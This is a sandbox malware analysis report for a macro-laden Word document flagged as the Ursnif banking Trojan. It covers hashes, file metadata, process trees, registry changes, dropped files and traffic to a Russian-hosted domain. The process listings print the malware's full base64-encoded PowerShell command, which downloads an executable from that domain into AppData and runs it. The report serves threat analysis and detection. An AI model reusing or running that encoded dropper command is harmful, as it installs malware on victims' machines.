Malware analysis 8a752c3c5b87c3bb740deb2e9beb12b1ed36a3290bd8bbd96eeb20e2da3ef50a.doc Malicious activity

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File name:	8a752c3c5b87c3bb740deb2e9beb12b1ed36a3290bd8bbd96eeb20e2da3ef50a.doc
Full analysis:	https://app.any.run/tasks/c81fe772-e6a0-4be1-9f4c-b2ff5581c1d1
Verdict:	Malicious activity
Threats:	Ursnif is a banking Trojan that usually infects corporate victims. It is based on an old malware but was substantially updated over the years and became quite powerful. Today Ursnif is one of the most widely spread banking Trojans in the world. Malware Trends Tracker >>>
Analysis date:	December 06, 2018, 14:19:12
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-close gozi ursnif
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: Multi-lateral analyzing complexity, Subject: Wisconsin Wava, Author: (356)482-5646, Comments: Digitized cohesive hub, Template: Normal, Last Saved By: Windows, Revision Number: 12, Name of Creating Application: Microsoft Office Word, Total Editing Time: 03:00, Create Time/Date: Thu Apr 19 19:59:00 2018, Last Saved Time/Date: Thu Dec 6 08:18:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 2, Security: 0
MD5:	75A3C3564E52D66BEAA43975E85B2A24
SHA1:	2A528887232C93578A030635015E026D92380464
SHA256:	8A752C3C5B87C3BB740DEB2E9BEB12B1ED36A3290BD8BBD96EEB20E2DA3EF50A
SSDEEP:	768:wlnaxoXXkY2ULcChNgUesexp13y72ckZppDaxz99zGlRpn9QgmCh:wdaxwXiULNhOUqdyYppDa3hGlnV

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 120 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 60 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Starts CMD.EXE for commands execution
  - WINWORD.EXE (PID: 2720)
- URSNIF was detected
  - powershell.exe (PID: 3868)
- Executes PowerShell scripts
  - cMd.EXE (PID: 3360)
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 2720)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 3868)
INFO
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2720)
- Creates files in the user directory
  - WINWORD.EXE (PID: 2720)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title:	Multi-lateral analyzing complexity
Subject:	Wisconsin Wava
Author:	(356)482-5646
Keywords:	-
Comments:	Digitized cohesive hub
Template:	Normal
LastModifiedBy:	Пользователь Windows
RevisionNumber:	12
Software:	Microsoft Office Word
TotalEditTime:	3.0 minutes
CreateDate:	2018:04:19 18:59:00
ModifyDate:	2018:12:06 08:18:00
Pages:	1
Words:	-
Characters:	2
Security:	None
CodePage:	Windows Cyrillic
Manager:	Kaden Zboncak
Company:	Little LLC Assunta Schultz
Bytes:	23552
Lines:	1
Paragraphs:	1
CharCountWithSpaces:	2
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:
HeadingPairs:	Title 1 Название 1
CompObjUserTypeLen:	32
CompObjUserType:	Microsoft Word 97-2003 Document

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2720

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\8a752c3c5b87c3bb740deb2e9beb12b1ed36a3290bd8bbd96eeb20e2da3ef50a.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3360

cMd.EXE /c poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwB1AHMAdABlAG8AdQByAGEAcABoAC4AYwBvAG0ALwBLAEgAWgAvAGQAaQB1AHkAegAuAHAAaABwAD8AbAA9AGwAeQBmAHgAMQAuAHQAawBuACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXABlADQAYgAyAGUAZABhAGUALgBlAHgAZQAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAJwBcAGUANABiADIAZQBkAGEAZQAuAGUAeABlACcAOwAgAEUAeABpAHQA

C:\Windows\system32\cMd.EXE

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

3868

poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwB1AHMAdABlAG8AdQByAGEAcABoAC4AYwBvAG0ALwBLAEgAWgAvAGQAaQB1AHkAegAuAHAAaABwAD8AbAA9AGwAeQBmAHgAMQAuAHQAawBuACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXABlADQAYgAyAGUAZABhAGUALgBlAHgAZQAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAJwBcAGUANABiADIAZQBkAGEAZQAuAGUAeABlACcAOwAgAEUAeABpAHQA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

cMd.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

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Total events

1 136

Read events

1 019

Write events

108

Delete events

Modification events


(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	a.$
Value: 612E2400A00A0000010000000000000000000000
(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1300627486
(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1300627600
(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1300627601
(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: A00A00005C599AB56E8DD40100000000
(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	50$
Value: 35302400A00A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	50$
Value: 35302400A00A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2720) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2720	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR8AE1.tmp.cvr		—
		MD5:—	SHA256:—
3868	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AYOQNFDG7FKBCV625WUM.temp		—
		MD5:—	SHA256:—
2720	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~DF119927504D3C0F26.TMP		—
		MD5:—	SHA256:—
2720	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DCD3699E-722F-4FA5-B3C0-39F92F2E5623}.tmp		—
		MD5:—	SHA256:—
2720	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{C0DEF537-F6F7-4065-8CAF-0E363EBAAF32}.tmp		—
		MD5:—	SHA256:—
2720	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
2720	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$752c3c5b87c3bb740deb2e9beb12b1ed36a3290bd8bbd96eeb20e2da3ef50a.doc		pgc
		MD5:—	SHA256:—
3868	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19adab.TMP		binary
		MD5:—	SHA256:—
3868	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3868	powershell.exe	GET	404	185.135.82.131:80	http://usteouraph.com/KHZ/diuyz.php?l=lyfx1.tkn	RU	—	—	suspicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3868	powershell.exe	185.135.82.131:80	usteouraph.com	Krek Ltd.	RU	suspicious

DNS requests

Domain	IP	Reputation
usteouraph.com	185.135.82.131	suspicious

Threats

Found threats are available for the paid subscriptions

2 ETPRO signatures available at the full report

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No debug info

General Info

8a752c3c5b87c3bb740deb2e9beb12b1ed36a3290bd8bbd96eeb20e2da3ef50a.doc

75A3C3564E52D66BEAA43975E85B2A24

2A528887232C93578A030635015E026D92380464

8A752C3C5B87C3BB740DEB2E9BEB12B1ED36A3290BD8BBD96EEB20E2DA3EF50A

768:wlnaxoXXkY2ULcChNgUesexp13y72ckZppDaxz99zGlRpn9QgmCh:wdaxwXiULNhOUqdyYppDa3hGlnV

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Starts CMD.EXE for commands execution

URSNIF was detected

Executes PowerShell scripts

Unusual execution from Microsoft Office

SUSPICIOUS

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings